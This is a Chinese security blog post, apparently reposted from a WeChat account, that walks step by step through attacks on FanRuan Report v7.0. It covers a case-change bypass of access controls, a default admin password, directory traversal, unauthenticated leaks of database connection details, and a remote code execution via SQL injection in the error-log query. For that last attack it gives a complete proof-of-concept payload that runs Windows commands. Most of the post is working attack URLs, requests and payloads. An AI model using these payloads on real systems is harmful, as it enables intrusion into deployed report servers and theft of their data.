实战之帆软报表v7.0系列漏洞与前台RCE

admin 2024年11月13日23:23:30评论269 views字数 2711阅读9分2秒阅读模式

0x01 帆软报表 Forbidden Bypass

直接访问帆软报表登录入口,发现被Forbidden

http://xxx.cn/ReportServer?op=fs_load&cmd=fs_signin&_=1679582030407

实战之帆软报表v7.0系列漏洞与前台RCE

使用大小写绕过,发现css不加载,但可以通过BurpSuite发送登录包

http://xxx.cn/ReportServer?op=Fs_load&cmd=fs_signin&_=1679582030407

实战之帆软报表v7.0系列漏洞与前台RCE

0x02 帆软报表 数据决策系统 管理员弱口令

帆软报表v7.0默认管理员弱口令

admin123456

使用Burpsuite登录,将op方法中的Fs_load首字母大写,成功获取管理员Cookie

POST /ReportServer?op=Fs_load&cmd=Login HTTP/1.1Host: xxx.cnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/111.0Accept: */*Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://xxx.cnConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 46username=admin&password=123456&fsremember=true

实战之帆软报表v7.0系列漏洞与前台RCE

0x03 帆软报表 目录遍历漏洞

访问以下payload,控制file_path参数可以遍历任意目录

http://xxx.cn/ReportServer?op=fr_remote_design&cmd=design_list_file&file_path=../../../&current_uid=1&isWebReport=true

实战之帆软报表v7.0系列漏洞与前台RCE

0x04 帆软报表 敏感信息泄露

数据库连接信息泄露,op参数中大写F,cmd参数中大写S,来绕过Forbidden

http://xxx.cn/ReportServer?op=Fr_server&cmd=Sc_getconnectioninfo

实战之帆软报表v7.0系列漏洞与前台RCE

访问记录报表未授权访问

http://xxx.cn/ReportServer?op=Fr_server&cmd=Sc_visitstatehtml

实战之帆软报表v7.0系列漏洞与前台RCE

注册信息报表未授权访问,此处存在一个上传点

http://xxx.cn/ReportServer?op=Fr_server&cmd=Sc_version_info

实战之帆软报表v7.0系列漏洞与前台RCE

0x05 帆软报表 前台RCE

  • 通过前面的目录遍历漏洞,发现存在.exe后缀文件,说明系统为windows。并且确定网站的绝对路径为

../../../Tomcat8.5/webapps/ROOT/
  • 通过注册信息报表未授权访问发现该帆软报表为7.0版本。帆软报表v7.0的RCE与v8.0类似都是通 过op=fr_log&cmd=fg_errinfo访问错误日志报表,在提交查询中进行注入攻击。但在 v7.0中不存 在com.fr.chart.phantom.system.SystemServiceUtils.exeCmd这个函数,所以需要重新寻找利用 点

  • 对帆软报表7.0的jar(fr-server-7.0-fr-server-7.0.jar)进行代码审计发现在 com.fr.fs.schedule.dao.StartDB类中有一个run函数,它接收一个str,直接使用 Runtime.getRuntime().exec()执行这个str

对于windows系统,Runtime.getRuntime().exec()可以正确执行以空格为分割的String类型命令, 如

Stringstr="cmd/cecho123>"../../../../../../../../../../../../Tomcat 8.5/webapps/ROOT/pettter.txt""Runtime.getRuntime().exec(str);

对于linux系统,Runtime.getRuntime().exec()只能正确执行以空格为分割的String[]类型命令,如:

String[]str=newString[]{"/bin/sh","-c","touchtest.txt"}; 2 Runtime.getRuntime().exec(str);

所以当该WEB应用部署在linux系统上,无法利用这个run函数来进行RCE,可尝试寻找FileUtil等类 进行利用。

实战之帆软报表v7.0系列漏洞与前台RCE

现在访问以下url,BurpSuite抓包,点查询

http://xxx.cn/ReportServer?op=fr_log&cmd=fg_errinfo

实战之帆软报表v7.0系列漏洞与前台RCE

将请求体参数改为如下Payload,然后一直Forward,当页面不出现"正在加载"的转圈就成功RCE 了,如果出现就表示LOG查询并发满了无法RCE。Payload在网站根目录下创建了一个内容为123的 pettter.txt文件。

建议该Payload增加DROP ALIAS RUMCMD;以便函数调用完毕后确保该对象被销毁。以及select 查询中增加limit 1,避免fr_errrecord表过大出现响应延时问题。

POC:

__parameters__={"LABEL1":"TYPE:","TYPE":"6;CREATEALIASRUNCMDFOR "com.fr.fs.schedule.dao.StartDB.run";CALL RUNCMD('cmd /c echo 123 > "../../../../../../../../../../../../Tomcat 8.5/webapps/ROOT/pettter.txt"');DROP ALIAS RUMCMD;select msg, trace, sinfo, logtime from fr_errrecord where 1=1 limit 1","LABEL3":"START_TIME:","START_TIME":"2020-08-11 00:00","LABEL5":"END_TIME:","END_TIME":"2020-08-11 16:41","LABEL7":"LIMIT:","LIMIT":2}

实战之帆软报表v7.0系列漏洞与前台RCE

 查看生成的文件

实战之帆软报表v7.0系列漏洞与前台RCE

原文始发于微信公众号(网格信安):实战之帆软报表v7.0系列漏洞与前台RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日23:23:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战之帆软报表v7.0系列漏洞与前台RCEhttps://cn-sec.com/archives/2217499.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息